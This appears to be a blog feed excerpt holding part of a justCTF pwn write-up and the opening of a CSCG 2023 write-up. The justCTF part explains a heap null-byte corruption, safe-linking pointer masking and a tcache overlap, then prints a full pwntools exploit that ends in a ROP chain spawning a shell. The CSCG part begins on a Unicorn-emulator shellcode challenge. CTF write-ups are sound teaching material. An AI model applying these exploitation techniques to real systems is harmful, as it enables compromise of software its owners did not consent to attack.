<p><code class="language-plaintext highlighter-rouge">param_2</code> is the length of the input we specified. As can be seen in <code class="language-plaintext highlighter-rouge">line 16</code> there is a check which restricts our input to <code class="language-plaintext highlighter-rouge">0x400</code> bytes. However, in <code class="language-plaintext highlighter-rouge">line 29</code> our supplied input length is being used to null-terminate the input. With this we can write arbitrary nullbytes all over the heap.</p>

<p>I missed a fact about this nullbyte corruption bug which made the challenge harder for me than intended. For creating / renaming and printing a file, there is always a check to guarantee our provided size is positive. However, for the delete option this check is missing, which enables us to write nullbytes on the heap at positive and negative offsets. Unfortunately I <strong>missed</strong> this and assumed that we can only write nullbytes at positive offsets.</p>

<h3 id="exploitation">Exploitation</h3>
<p>With the knowledge of the possibility of negative offset nullbye corruptions one could corrupt the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code> which stores pointers to the first chunk in a bin in an unmasked form. This makes exploitation quite easy since one does not have to deal with safe-linking or heap feng shui.</p>

<p>Since I had missed this though, I went another route and corrupted a masked <code class="language-plaintext highlighter-rouge">fd</code> pointer of an entry in a tcache bin. I calculated the address the chunk would have after the corrupted <code class="language-plaintext highlighter-rouge">fd</code> pointer would be unmasked and made sure that this pointer points into a heap region which lays beyond the current heap wilderness so that I could allocate many chunks until I had obtained a chunk which lays in the region where the corrupted <code class="language-plaintext highlighter-rouge">fd</code> pointer points to.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">mask</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">l</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">p</span> <span class="o">^</span> <span class="p">(</span><span class="n">l</span> <span class="o">&gt;&gt;</span> <span class="mi">12</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">unmask</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">l</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">mask</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">l</span><span class="p">)</span>

<span class="c1"># next_addr = heap address where fd pointer of chunk will be stored
</span><span class="k">def</span> <span class="nf">new_ptr_addr</span><span class="p">(</span><span class="n">next_addr</span><span class="p">):</span>
    <span class="n">sz</span> <span class="o">=</span> <span class="mh">0x40</span>

    <span class="k">while</span> <span class="n">sz</span> <span class="o">&lt;</span> <span class="mh">0x400</span><span class="p">:</span>
        <span class="n">masked</span> <span class="o">=</span> <span class="n">mask</span><span class="p">(</span><span class="n">next_addr</span><span class="o">+</span><span class="n">sz</span><span class="p">,</span> <span class="n">next_addr</span><span class="p">)</span>
        <span class="n">lb</span> <span class="o">=</span> <span class="n">masked</span> <span class="o">&amp;</span> <span class="mh">0xff</span>
        <span class="n">masked</span> <span class="o">=</span> <span class="p">(</span><span class="n">masked</span> <span class="o">&gt;&gt;</span> <span class="mi">16</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">16</span>
        <span class="n">masked</span> <span class="o">+=</span> <span class="n">lb</span>

        <span class="n">new_addr</span> <span class="o">=</span> <span class="n">unmask</span><span class="p">(</span><span class="n">masked</span><span class="p">,</span> <span class="n">next_addr</span><span class="p">)</span>

        <span class="k">if</span> <span class="n">new_addr</span> <span class="o">&gt;</span> <span class="n">next_addr</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"New addr: </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">new_addr</span><span class="p">)</span><span class="si">}</span><span class="s"> sz: </span><span class="si">{</span><span class="n">sz</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
            <span class="k">return</span> <span class="n">sz</span><span class="p">,</span> <span class="n">new_addr</span>

        <span class="n">sz</span> <span class="o">+=</span> <span class="mh">0x10</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span>
</code></pre></div></div>
<p>I then created a fake chunk in the region where the corrupted <code class="language-plaintext highlighter-rouge">fd</code> pointer points to and freed it into the unsorted bin. This freed fake chunk overlapped with chunks stored in tcache bins. I used this to leak the address off <code class="language-plaintext highlighter-rouge">libc</code> and to corrupt the tcache freelist again in order to allocate a chunk which overlaps with the <code class="language-plaintext highlighter-rouge">function table</code> chunk. Afterwards I overwrote the function pointer of the <code class="language-plaintext highlighter-rouge">exit</code> option with <code class="language-plaintext highlighter-rouge">fgets</code> and overflowed the stack with a ropchain. As we use <code class="language-plaintext highlighter-rouge">fgets</code> in this case, the limitation of no nullbytes doesn’t hold anymore.</p>

<h3 id="exploit-3">Exploit</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">create</span><span class="p">(</span><span class="n">fname</span><span class="p">,</span> <span class="n">content</span><span class="p">,</span> <span class="n">csz</span><span class="p">,</span> <span class="n">fsz</span><span class="o">=</span> <span class="mi">0</span><span class="p">):</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"&gt;"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">0</span><span class="p">))</span>
    <span class="k">if</span> <span class="n">fsz</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
        <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"size:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">fsz</span><span class="p">))</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"size:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">fname</span><span class="p">)))</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"name: "</span><span class="p">,</span> <span class="n">fname</span><span class="p">)</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"len: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">csz</span><span class="p">))</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"contents: "</span><span class="p">,</span> <span class="n">content</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">rename</span><span class="p">(</span><span class="n">fname</span><span class="p">):</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"&gt;"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"size:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">fname</span><span class="p">)))</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"name: "</span><span class="p">,</span> <span class="n">fname</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">show</span><span class="p">(</span><span class="n">fname</span><span class="p">,</span><span class="n">fsz</span><span class="o">=</span><span class="mi">0</span><span class="p">):</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"&gt;"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">2</span><span class="p">))</span>
    <span class="k">if</span> <span class="n">fsz</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
        <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"size:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">fsz</span><span class="p">))</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"size:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">fname</span><span class="p">)))</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"name: "</span><span class="p">,</span> <span class="n">fname</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">remove</span><span class="p">(</span><span class="n">fname</span><span class="p">,</span> <span class="n">fsz</span><span class="o">=</span><span class="mi">0</span><span class="p">):</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"&gt;"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">3</span><span class="p">))</span>
    <span class="k">if</span> <span class="n">fsz</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
        <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"size:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">fsz</span><span class="p">))</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"size:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">fname</span><span class="p">)))</span>
    <span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"name: "</span><span class="p">,</span> <span class="n">fname</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">mask</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">l</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">p</span> <span class="o">^</span> <span class="p">(</span><span class="n">l</span> <span class="o">&gt;&gt;</span> <span class="mi">12</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">unmask</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">l</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">mask</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">l</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">new_ptr_addr</span><span class="p">(</span><span class="n">next_addr</span><span class="p">):</span>
    <span class="n">sz</span> <span class="o">=</span> <span class="mh">0x40</span>

    <span class="k">while</span> <span class="n">sz</span> <span class="o">&lt;</span> <span class="mh">0x400</span><span class="p">:</span>
        <span class="n">masked</span> <span class="o">=</span> <span class="n">mask</span><span class="p">(</span><span class="n">next_addr</span><span class="o">+</span><span class="n">sz</span><span class="p">,</span> <span class="n">next_addr</span><span class="p">)</span>
        <span class="n">lb</span> <span class="o">=</span> <span class="n">masked</span> <span class="o">&amp;</span> <span class="mh">0xff</span>
        <span class="n">masked</span> <span class="o">=</span> <span class="p">(</span><span class="n">masked</span> <span class="o">&gt;&gt;</span> <span class="mi">16</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">16</span>
        <span class="n">masked</span> <span class="o">+=</span> <span class="n">lb</span>

        <span class="n">new_addr</span> <span class="o">=</span> <span class="n">unmask</span><span class="p">(</span><span class="n">masked</span><span class="p">,</span> <span class="n">next_addr</span><span class="p">)</span>

        <span class="k">if</span> <span class="n">new_addr</span> <span class="o">&gt;</span> <span class="n">next_addr</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"New addr: </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">new_addr</span><span class="p">)</span><span class="si">}</span><span class="s"> sz: </span><span class="si">{</span><span class="n">sz</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
            <span class="k">return</span> <span class="n">sz</span><span class="p">,</span> <span class="n">new_addr</span>

        <span class="n">sz</span> <span class="o">+=</span> <span class="mh">0x10</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span>

<span class="c1"># Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
# pwndbg tele command
</span><span class="n">gdbscript</span> <span class="o">=</span> <span class="s">'''
continue
'''</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="o">**</span><span class="nb">locals</span><span class="p">())</span>

<span class="c1">#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
</span>
<span class="c1"># max size = 0x400
</span><span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="s">"rm -r fs"</span><span class="p">)</span>

<span class="n">io</span> <span class="o">=</span> <span class="n">start</span><span class="p">(</span><span class="n">argv</span><span class="p">,</span> <span class="n">env</span><span class="o">=</span><span class="n">env</span><span class="p">)</span>

<span class="n">create</span><span class="p">(</span><span class="s">"a"</span><span class="p">,</span> <span class="s">"A</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">)</span>
<span class="n">remove</span><span class="p">(</span><span class="s">"a"</span><span class="p">)</span>
<span class="n">create</span><span class="p">(</span><span class="s">"a"</span><span class="p">,</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">)</span>

<span class="n">show</span><span class="p">(</span><span class="s">"a"</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"C"</span><span class="p">)[</span><span class="o">-</span><span class="mi">6</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">leak</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mh">0x8</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">12</span>

<span class="n">heap_base</span> <span class="o">=</span> <span class="n">leak</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Heap base: "</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">leak</span><span class="p">))</span>

<span class="n">chunk_addr</span> <span class="o">=</span> <span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x310</span> <span class="o">+</span> <span class="mh">0x820</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Next chunk addr: "</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">chunk_addr</span><span class="p">))</span>

<span class="n">sz</span><span class="p">,</span> <span class="n">new_addr</span> <span class="o">=</span> <span class="n">new_ptr_addr</span><span class="p">(</span><span class="n">chunk_addr</span><span class="p">)</span>

<span class="k">if</span> <span class="n">sz</span> <span class="o">==</span> <span class="mh">0x0</span><span class="p">:</span>
    <span class="nb">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>

<span class="n">create</span><span class="p">(</span><span class="s">"c</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span> <span class="mh">0x400</span><span class="p">,</span> <span class="mh">0x400</span><span class="p">)</span>
<span class="n">create</span><span class="p">(</span><span class="s">"b</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span> <span class="n">sz</span><span class="o">-</span><span class="mh">0x8</span><span class="p">,</span> <span class="n">sz</span><span class="o">-</span><span class="mh">0x8</span><span class="p">)</span>

<span class="n">remove</span><span class="p">(</span><span class="s">"c</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span> <span class="mh">0x821</span><span class="p">)</span>

<span class="n">next_addr</span> <span class="o">=</span> <span class="n">chunk_addr</span> <span class="o">+</span> <span class="n">sz</span><span class="o">*</span><span class="mi">2</span>

<span class="k">if</span> <span class="n">new_addr</span> <span class="o">-</span> <span class="n">next_addr</span> <span class="o">&gt;</span> <span class="mh">0x10000</span><span class="p">:</span>
    <span class="nb">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>

<span class="n">remove</span><span class="p">(</span><span class="s">"z</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span> <span class="mh">0x400</span><span class="p">)</span>
<span class="n">remove</span><span class="p">(</span><span class="s">"z</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span> <span class="mh">0x18</span><span class="p">)</span>
<span class="n">remove</span><span class="p">(</span><span class="s">"z</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span> <span class="mh">0x18</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Allocating until next is overlap"</span><span class="p">)</span>
<span class="k">while</span> <span class="n">next_addr</span> <span class="o">&lt;</span> <span class="n">new_addr</span> <span class="o">-</span> <span class="mh">0x40</span><span class="p">:</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">args</span><span class="p">.</span><span class="n">LOCAL</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"Tick"</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">new_addr</span> <span class="o">-</span> <span class="n">next_addr</span> <span class="o">&gt;</span> <span class="mh">0x440</span><span class="p">:</span>
        <span class="n">remove</span><span class="p">(</span><span class="s">"z</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span> <span class="mh">0x400</span><span class="o">-</span><span class="mi">8</span><span class="p">)</span>
        <span class="n">next_addr</span> <span class="o">+=</span> <span class="mh">0x400</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">remove</span><span class="p">(</span><span class="s">"z</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span> <span class="mh">0x18</span><span class="p">)</span>
        <span class="n">next_addr</span> <span class="o">+=</span> <span class="mh">0x20</span>

<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"A"</span><span class="o">*</span><span class="mh">0x18</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p16</span><span class="p">(</span><span class="mh">0x501</span><span class="p">)</span>
<span class="n">create</span><span class="p">(</span><span class="s">"n</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>  <span class="n">payload</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">)</span>

<span class="n">remove</span><span class="p">(</span><span class="s">"z</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span> <span class="mh">0x38</span><span class="p">)</span>
<span class="n">create</span><span class="p">(</span><span class="s">"la</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span><span class="mh">0x400</span><span class="p">,</span> <span class="mh">0x400</span><span class="p">)</span>
<span class="n">remove</span><span class="p">(</span><span class="s">"z</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span> <span class="mh">0x400</span><span class="p">)</span>
<span class="n">remove</span><span class="p">(</span><span class="s">"z</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span> <span class="mh">0x400</span><span class="p">)</span>
<span class="n">create</span><span class="p">(</span><span class="s">"m"</span><span class="p">,</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span> <span class="mh">0x38</span><span class="p">)</span>

<span class="n">create</span><span class="p">(</span><span class="s">"d"</span><span class="p">,</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span> <span class="mh">0x400</span><span class="p">)</span>

<span class="n">show</span><span class="p">(</span><span class="s">"d"</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"C"</span><span class="p">)[</span><span class="o">-</span><span class="mi">6</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">leak</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mh">0x8</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span>

<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="mh">0x1f7100</span>

<span class="k">print</span><span class="p">(</span><span class="s">"Libc leak: "</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span><span class="p">))</span>

<span class="n">func_table</span> <span class="o">=</span> <span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x2a0</span>

<span class="k">print</span><span class="p">(</span><span class="s">"Func table: "</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">func_table</span><span class="p">))</span>

<span class="n">create</span><span class="p">(</span><span class="s">"e</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span> <span class="mh">0x400</span><span class="p">,</span> <span class="mh">0x400</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="s">"Next addr: "</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">next_addr</span><span class="p">))</span>
<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"B"</span><span class="o">*</span><span class="mh">0x20</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">mask</span><span class="p">(</span><span class="n">func_table</span><span class="o">-</span><span class="mh">0x10</span><span class="p">,</span> <span class="n">next_addr</span><span class="o">+</span><span class="mh">0x40</span><span class="p">))</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">payload</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">create</span><span class="p">(</span><span class="s">"f"</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">)</span>

<span class="n">remove</span><span class="p">(</span><span class="s">"g</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span> <span class="mh">0x400</span><span class="p">)</span>

<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"A"</span><span class="o">*</span><span class="mh">0x10</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">[</span><span class="s">'gets'</span><span class="p">])[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>

<span class="n">remove</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span> <span class="mh">0x400</span><span class="p">)</span>
<span class="n">create</span><span class="p">(</span><span class="s">"h"</span><span class="p">,</span> <span class="s">"A</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">)</span>

<span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"&gt;"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">4</span><span class="p">))</span>

<span class="n">gdb</span><span class="p">.</span><span class="n">attach</span><span class="p">(</span><span class="n">io</span><span class="p">,</span> <span class="n">gdbscript</span><span class="p">)</span>
<span class="n">rop</span> <span class="o">=</span> <span class="n">ROP</span><span class="p">(</span><span class="n">libc</span><span class="p">)</span>
<span class="n">off</span> <span class="o">=</span> <span class="mh">0x540</span><span class="o">-</span><span class="mh">0x18</span>
<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"A"</span><span class="o">*</span><span class="n">off</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rop</span><span class="p">.</span><span class="n">rdi</span><span class="p">.</span><span class="n">address</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="nb">next</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s">"/bin/sh</span><span class="se">\x00</span><span class="s">"</span><span class="p">)))</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rop</span><span class="p">.</span><span class="n">ret</span><span class="p">.</span><span class="n">address</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">[</span><span class="s">'system'</span><span class="p">])</span>

<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>

<span class="n">io</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>]]></content><author><name>H0ps</name></author><category term="cybersecurity" /><summary type="html"><![CDATA[Last weekend I participated with ARESx in justCTF organized by justCatTheFish. This is a writeup of the challenges I solved: Welcome in my house, nucleus, notabug (unintended) and Mystery locker.]]></summary></entry><entry><title type="html">CSCG 2023</title><link href="https://ollrogge.github.io/cybersecurity/2023/05/02/CSCG.html" rel="alternate" type="text/html" title="CSCG 2023" /><published>2023-05-02T00:00:00+00:00</published><updated>2023-05-02T00:00:00+00:00</updated><id>https://ollrogge.github.io/cybersecurity/2023/05/02/CSCG</id><content type="html" xml:base="https://ollrogge.github.io/cybersecurity/2023/05/02/CSCG.html"><![CDATA[<p>Over the past month, I participated in the qualifying rounds of the <a href="https://cscg.de/">Cyber Security Challenge Germany</a> (CSCG), which is part of the <a href="https://ecsc.eu/">European Cyber Security Challenge</a> (ECSC). This CTF event includes two age categories: junior (14-20) and senior (21-25). Participants compete to secure a spot in the German final, with the top 11 players from each age group qualifying. Ultimately, the top 5 players from each age group in the final form a team to represent Germany in the ECSC challenge.</p>

<p>Although I am no longer eligible for a spot in the final due to my age, I still took part in the open (earth) division of the CTF and secured second place. I enjoyed the challenges and therefore decided to create write-ups for a few of them, specifically: <a href="#unicorn-sec">Release the Unicorn</a>, <a href="#vm-sec">VM</a>, <a href="#once-sec">Once</a>, <a href="#honk-honk-sec">Honk! Honk!</a> and <a href="#console-application-sec">ConsoleApplication1</a>.</p>

<p>The full exploit codes and challenge files can be found in my <a href="https://github.com/Ollrogge/CtfWriteups">repository</a>.</p>

<h2 id="unicorn-sec">Release the Unicorn</h2>
<p>Release the Unicorn was a misc shellcoding challenge which utilized the unicorn emulation framework to emulate our provided shellcode and panic if it contained any <code class="language-plaintext highlighter-rouge">syscall</code> or <code class="language-plaintext highlighter-rouge">sysenter</code> instructions to prevent us from spawning a shell. If the emulation ran without panic, the shellcode would be executed. The emulation function looked like this:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">fn</span> <span class="nf">emulate_bytecode</span><span class="p">(</span><span class="n">code</span><span class="p">:</span> <span class="o">&amp;</span><span class="nb">Vec</span><span class="o">&lt;</span><span class="nb">u8</span><span class="o">&gt;</span><span class="p">)</span> <span class="k">-&gt;</span> <span class="nb">Result</span><span class="o">&lt;</span><span class="p">(),</span> <span class="n">uc_error</span><span class="o">&gt;</span> <span class="p">{</span>
    <span class="k">let</span> <span class="k">mut</span> <span class="n">unicorn</span> <span class="o">=</span> <span class="nn">Unicorn</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="nn">Arch</span><span class="p">::</span><span class="n">X86</span><span class="p">,</span> <span class="nn">Mode</span><span class="p">::</span><span class="n">MODE_64</span><span class="p">)</span><span class="o">?</span><span class="p">;</span>
    <span class="k">let</span> <span class="n">emu</span> <span class="o">=</span> <span class="o">&amp;</span><span class="k">mut</span> <span class="n">unicorn</span><span class="p">;</span>

    <span class="c1">// Setup Memory</span>
    <span class="n">emu</span><span class="nf">.mem_map</span><span class="p">(</span><span class="n">BASE_ADDR</span><span class="p">,</span> <span class="n">IMG_SIZE</span> <span class="k">as</span> <span class="nb">usize</span><span class="p">,</span> <span class="nn">Permission</span><span class="p">::</span><span class="n">ALL</span><span class="p">)</span><span class="o">?</span><span class="p">;</span>
    <span class="n">emu</span><span class="nf">.mem_map</span><span class="p">(</span><span class="n">STACK_ADDR</span><span class="p">,</span> <span class="n">STACK_SIZE</span> <span class="k">as</span> <span class="nb">usize</span><span class="p">,</span> <span class="nn">Permission</span><span class="p">::</span><span class="n">ALL</span><span class="p">)</span><span class="o">?</span><span class="p">;</span>
    <span class="n">emu</span><span class="nf">.mem_write</span><span class="p">(</span><span class="n">BASE_ADDR</span><span class="p">,</span> <span class="n">code</span><span class="p">)</span><span class="o">?</span><span class="p">;</span>

    <span class="c1">// Setup Registers</span>
    <span class="n">emu</span><span class="nf">.reg_write</span><span class="p">(</span><span class="nn">RegisterX86</span><span class="p">::</span><span class="n">RSP</span><span class="p">,</span> <span class="n">STACK_ADDR</span> <span class="o">+</span> <span class="n">STACK_SIZE</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span><span class="o">?</span><span class="p">;</span>

    <span class="c1">// Add hooks</span>
    <span class="n">emu</span><span class="nf">.add_insn_sys_hook</span><span class="p">(</span><span class="nn">InsnSysX86</span><span class="p">::</span><span class="n">SYSCALL</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="p">|</span><span class="n">uc</span><span class="p">|</span> <span class="p">{</span>
        <span class="nd">panic!</span><span class="p">(</span><span class="s">"[!] Syscall detected: {uc:?}"</span><span class="p">);</span>
    <span class="p">})</span><span class="o">?</span><span class="p">;</span>
